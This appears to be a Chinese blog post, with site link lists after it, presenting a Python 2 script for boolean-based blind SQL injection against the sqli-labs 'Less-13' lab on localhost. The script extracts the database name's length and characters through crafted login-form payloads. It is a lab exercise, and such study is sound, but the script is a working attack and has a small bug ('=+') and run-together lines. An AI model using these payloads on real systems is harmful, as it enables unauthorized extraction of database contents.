通过or注入py脚本
2024-09-21 02:15:31
代码思路
1.主要还是参考了别人的代码,确实自己写的和别人写的出路很大,主要归咎还是自己代码能力待提高吧。
2.将功能集合成一个函数,然后通过*args这个小技巧去调用。函数的参数不是argv的值,但是*argv的是。也就是如下:
3.还有就是利用了format,因为是POST所有不好直接设置,但是通过format效果就好得多。
#!/usr/bin/env python
#encoding:utf-8
#by i3ekr import requests
url = "http://127.0.0.1/Less-13/?id=1"
database_length_payload = "abc' ) or length((select database()))={0} #"
database_name_payload = "xxxxxxxxx')or(select substr((select database()),{0},1))='{1}' # &passwd=1"
database_length = 0
database_name = ""
def get_value(payload,value,*args):
if len(args) == 0:
payload = payload.format(value)
data = {"uname":payload,"passwd":""}
else:
payload = payload.format(value,args[0])
data = {"uname":payload,"passwd":""} print "[*] payload:%s"%(data)
html = requests.post(url,data=data)
if "flag.jpg" in html.text:
return True
else:
return False for i in range(100):
if(get_value(database_length_payload,i)):
database_length =+ i
break for n in range(1,database_length+1):
for s in "qwertyuiopasdfghjklzxcvbnm":
if(get_value(database_name_payload,n,s)):
database_name +=s
break print database_name
print database_length
最新文章
- JavaScript学习10 JS数据类型、强制类型转换和对象属性
- BizTalk动手实验(十四)AS2传输非EDI消息
- opencl gauss filter优化(二)
- fdquery update
- jquery表格伸展
- 深入Delphi -- Windows 消息机制
- VS操作Sqlite数据库
- android 获取前台进程
- C++: std::string 与 Unicode 如何结合?
- Java IntelliJ IDEA 不能显示项目里的文件结构解决办法
- Unix/Linux笔记全集
- vue学习笔记-one
- C语言第零次作业总结
- Oracle数据安全解决方案(1)——透明数据加密TDE
- python ---split()函数讲解
- python中的字典
- Linux中常用目录作用
- CF767C Garland--树形dp
- mybatis拦截器处理
- MyBatis 手动映射结果集
热门文章
- 优先队列实现 大小根堆 解决top k 问题
- 【题解】SDOI2017树点涂色
- SAPI 包含sphelper.h编译错误解决方案
- Nginx的配置文件简介及在Nginx中配置基于不同ip的虚拟主机
- Codeforces Round #345 (Div. 2) B
- Codeforces Round #343 (Div. 2) B
- Codeforces Round #340 (Div. 2) A
- idea一些文件如.xml 文件搜索不到的解决方法
- iptables使用总结
- 【题解】最大公约数之和 V3 51nod 1237 杜教筛